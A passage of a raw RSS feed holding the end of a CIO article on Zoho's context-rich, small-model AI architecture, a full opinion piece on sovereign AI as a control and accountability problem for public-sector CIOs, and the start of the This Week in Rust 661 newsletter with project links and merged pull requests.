					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sovereign AI has become the public-sector CIO’s control problem]]></title>
<description><![CDATA[In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving in...]]></description>
<link>https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688461/it-nachrichten/sovereign-ai-has-become-the-public-sector-cios-control-problem/</guid>
<pubDate>Thu, 23 Jul 2026 11:05:58 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.</p>



<p class="wp-block-paragraph">They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a <a href="https://institute.global/insights/tech-and-digitalisation/sovereignty-in-the-age-of-ai-strategic-choices-structural-dependencies">January 2026 Tony Blair Institute analysis</a>, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?</p>



<h2 class="wp-block-heading">The 5 layers of public-sector control</h2>



<p class="wp-block-paragraph">For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:</p>



<ul class="wp-block-list">
<li><strong>Data control:</strong> Where sensitive public data sits, and whether it can train a vendor’s model.</li>



<li><strong>Model control:</strong> Which models clear which workloads, and under what validation.</li>



<li><strong>Infrastructure control:</strong> Whether critical workloads run in approved environments.</li>



<li><strong>Operational control:</strong> Whether AI-assisted actions are logged, monitored and reversible.</li>



<li><strong>Vendor control:</strong> Whether the agency keeps portability, audit rights and a real exit.</li>
</ul>



<p class="wp-block-paragraph">Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “<a href="https://www.cio.com/article/4147102/ai-without-sovereignty-is-just-outsourced-intelligence.html">AI without sovereignty is just outsourced intelligence</a>”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.</p>



<p class="wp-block-paragraph">Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.</p>



<h2 class="wp-block-heading">Evaluating risk: Concentration, jurisdiction and shadow AI</h2>



<p class="wp-block-paragraph">Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is.  Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update <a href="https://www.cisa.gov/news-events/alerts/2024/07/19/widespread-it-outage-due-crowdstrike-update">crashed about 8.5 million Windows machines</a>, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.</p>



<p class="wp-block-paragraph">The second is jurisdiction. In June 2025, Microsoft’s legal director for France <a href="https://www.sdxcentral.com/news/microsoft-tells-french-lawmakers-it-cant-protect-user-data-from-us-demands/">told a Senate inquiry, under oath</a>, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold <a href="https://www.srgresearch.com/articles/european-cloud-providers-local-market-share-now-holds-steady-at-15">about 70% of the European cloud market</a>, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.</p>



<p class="wp-block-paragraph">The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.</p>



<p class="wp-block-paragraph">Mandating domestic-only provision before a competitive option exists inverts sovereignty. <a href="https://europe2031.ai/summary">Europe 2031</a>, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.</p>



<p class="wp-block-paragraph">Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform <a href="https://www.pib.gov.in/PressReleaseIframePage.aspx?PRID=2093333&amp;reg=3&amp;lang=2">serving 100 million-plus inferences a month across 22-plus languages</a> on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.</p>



<h2 class="wp-block-heading">Building an operational sovereignty strategy</h2>



<p class="wp-block-paragraph">Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s <a href="https://www.oecd.org/en/publications/governing-with-artificial-intelligence_795de142-en.html">2025 review of government AI</a> warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.</p>



<p class="wp-block-paragraph">None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an <a href="https://berthub.eu/articles/posts/gaia-x-is-an-expensive-distraction/">“expensive distraction”</a> that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.</p>



<p class="wp-block-paragraph">Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:</p>



<ol start="1" class="wp-block-list">
<li>Can we classify AI workloads by public-service risk?</li>



<li>Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?</li>



<li>Can we restrict which models are approved for which data classes and functions?</li>



<li>Can we reconstruct an AI-assisted action in enough detail to explain it?</li>



<li>Can we change providers without losing continuity or institutional knowledge?</li>



<li>Can we explain the system to citizens, regulators, auditors and elected officials?</li>
</ol>



<p class="wp-block-paragraph">A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
